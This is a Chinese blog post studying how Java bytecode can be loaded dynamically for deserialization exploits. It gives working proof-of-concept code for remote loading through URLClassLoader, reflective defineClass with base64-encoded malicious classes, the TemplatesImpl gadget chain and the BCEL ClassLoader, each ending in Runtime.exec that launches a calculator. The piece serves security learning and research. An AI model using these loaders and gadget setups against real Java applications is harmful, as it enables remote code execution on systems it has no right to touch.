MENU

JAVA-动态加载字节码

September 4, 2022 • Read: 430 • Code auditing

前言

我在很早之前的文章中写过类加载的过程和双亲委派类
文章:http://blog.m1kael.cn/index.php/archives/392/

但是在后面的cc链中会遇见恶意类加载的利用,然后结合字节码来实现rce
所以我来学一手动态加载字节码

利用 URLClassLoader 加载远程class文件

URLClassLoader是ClassLoader的一个实现类,它既能从本地加载二进制文件类,也可以从远程加载类。
它有两个构造函数

URLClassLoader(URL[] urls),使用默认的父类加载器(SystemClassLoader)创建一个ClassLoader对象
URLClassLoader(URL[] urls, ClassLoader parent),使用指定的类加载器作为父类加载器创建ClassLoader对象
上面两个构造函数都有一个URL参数,这里的URL参数值可以是file:前缀,http:前缀,也可以是ftp:前缀,功能非常强大。

具体了解可以参考一下:https://www.runoob.com/manual/jdk1.6/java.base/java/net/URLClassLoader.html

我们这里重点学一下它的远程类加载
先自己新建一个test文件

public class test {
    public test(){
        System.out.println("m1 hello~");
        display();
    }
    public static void display(){
        System.out.println("can can need");
    }

}

编译之后我们生成class文件
然后我这里用的kali虚拟机开了个http服务

python3 -m http.server 8080

然后写我们的demo

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoderTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URL url = new URL("http://192.168.0.128:8080/");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
        Class<?> classLoader = urlClassLoader.loadClass("test");
        classLoader.newInstance();

        System.out.println("Default parent class loader:" + urlClassLoader.getParent());

    }
}

有一点值得注意的是如果我们在idea中运行的时候他会将该项目里面的所有java文件编译一次(也就是变成class文件),接着当类加载的时候会先去本地里面查找相应的class文件加载为相应类对象,如果找不到的话才会去远程加载同名文件。
O409{4HXY@HPXISMMY}8.png

所有我们需要先删除我们的java文件就能调用远程加载了
F~1}4Q02IFVXV_W0QM{_VMO.png

可以看到是从远程加载的
59}RFJV5XAL_SFH_~M_%DD.png

利用ClassLoader##defineClass直接加载字节码

我们又不得不回头看看双亲委派
原理之前就已经学过了我们来看看它的代码实现
H26L7G}P~Z6_M0B85E3{W~S.png

  1. 先检查是否已被加载过;
  2. 若没有加载过则调用父加载器的loadClass()方法;
  3. 若父加载器为null则默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器;
  4. 如果父加载器加载类失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。(findClass()最终会调用defineClass()加载字节码)
    我们在仔细看看这个方法

SE)G7}N6AG5KKRGFZU613.png

可以再跟进去看看就是返回一个class对象然后把它实例化就得到了我们要的东西了

这就是双亲委派的基本流程,我们也可以通过重写findClass方法来进行自定义我们自己的类加载器
不管是加载远程class文件,还是本地class文件,Java都经历了下面三个方法的调用:QEG6G_04AOGF(WWGPQVASRJ.png

测试实例

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        Process pro = Runtime.getRuntime().exec("calc " );
    }
}

EWQ72LDEZCZBHUT{(S5THC.png

然后就是类加载实例,因为defineClass是protected属性的,所以我们需要反射调用它

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;

public class DefineClass {
    public static void main(String[] args) throws NoSuchMethodException,InvocationTargetException, IllegalAccessException, InstantiationException {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] codes = Base64.getDecoder().decode("yv66vgAAAD4AJQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW\n" +
                "CgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEv\n" +
                "bGFuZy9SdW50aW1lOwgADgEABWNhbGMgCgAIABAMABEAEgEABGV4ZWMBACcoTGphdmEvbGFuZy9T\n" +
                "dHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHABQBAAR0ZXN0AQAEQ29kZQEAD0xpbmVOdW1iZXJU\n" +
                "YWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAARtYWluAQAWKFtMamF2\n" +
                "YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQADcHJvAQATTGph\n" +
                "dmEvbGFuZy9Qcm9jZXNzOwEACkV4Y2VwdGlvbnMHACIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAK\n" +
                "U291cmNlRmlsZQEACXRlc3QuamF2YQAhABMAAgAAAAAAAgABAAUABgABABUAAAAvAAEAAQAAAAUq\n" +
                "twABsQAAAAIAFgAAAAYAAQAAAAMAFwAAAAwAAQAAAAUAGAAZAAAACQAaABsAAgAVAAAAQgACAAIA\n" +
                "AAAKuAAHEg22AA9MsQAAAAIAFgAAAAoAAgAAAAUACQAGABcAAAAWAAIAAAAKABwAHQAAAAkAAQAe\n" +
                "AB8AAQAgAAAABAABACEAAQAjAAAAAgAk\n");
        Class<?> test = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "test", codes, 0, codes.length);
        test.newInstance();


    }
}

注意:
ClassLoader#defineClass()被调用时,Class对象并不会被初始化,只有显示调用其构造方法,初始化代码才能被执行。即使将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。因此,如果要使用defineClass()在目标机器上执行任意代码,需要想办法调用构造方法。

利用TemplatesImpl加载字节码

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却可以造成我们常用的TemplatesImpl的一个攻击链。
利用链是这样的

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

我们就跟着这个链子来看看入口
截屏2022-09-08 19.20.31.png

跟进
截屏2022-09-08 19.22.54.png

这个地方就是利用点
截屏2022-09-08 19.26.39.png

跟进这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个
方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的
protected类型变成了一个default类型的方法,可以被类外部调用。
截屏2022-09-08 19.28.37.png

所以我们需要到这一步,现在就是需要满足一些条件得益于我们能打通这条链子
_class为null,_name不能为空null,_bytecodes不能为null,_tfactory需要一个TransformerFactoryImpl对象
我们发现这些属性都是私有的,所以需要通过反射来修改,写一个修改属性的方法

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

然后我们来修改这些属性,最终得到的大概流程就是

TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","mq");
        setFieldValue(templates,"_bytecodes",字节码);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();

但是发现字节码这里会报错,后面百度了一下发现

TemplatesImpl中对加载的字节码是有一定要求的这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类

所以生成我们需要创建个子类生成字节码

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class ByteClass extends AbstractTranslet {
    public static void main(String[] args) throws IOException {
        ByteClass byteClass = new ByteClass();
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public ByteClass() throws IOException {
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}}

所以poc

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.lang.reflect.Field;
import java.util.Base64;


public class Test134 {
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","m1");
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

截屏2022-09-08 22.06.34.png

后面再来学一下它关于fastjson和shiro的利用,还有就是原生的反序列化利用

利用BCEL ClassLoader加载字节码

BCEL也是一种恢复成一个类并在jvm虚拟机中进行加载的字节序列,BCEL也是在jdk库中,在bcel的包中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

截屏2022-09-09 20.20.02.png

在LoadClass中,会判断类名是否是存在$$BCEL$$,如果是的话将会createClass
截屏2022-09-09 20.21.39.png

createClass中会判断是否为$$BCEL$$开头,如果是就会decode
很明显想要利用成功我们得先得到$$BCEL$$+字节码加密成BCEL的形式

com.sun.org.apache.bcel.internal.Repository用于将一个Java Class先转换成原生字节码
com.sun.org.apache.bcel.internal.classfile.Utility用于将原生字节码转换成BCEL格式的字节码

构造恶意类

package org.example;

import java.io.IOException;

public class test {
    public test() throws IOException {
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        diaplay();
    }
    public static void diaplay(){
        System.out.println("hello world!");
    }
}

所以最后的poc

package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;


public class BcelClass {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        JavaClass javaClass = Repository.lookupClass(test.class);
        String encode = Utility.encode(javaClass.getBytes(),true);
        new ClassLoader().loadClass("$$BCEL$$"+encode).newInstance();
    }
}

截屏2022-09-09 20.43.52.png

注意:在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用
参考:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

Last Modified: September 17, 2022
Archives Tip
QR Code for this page
Tipping QR Code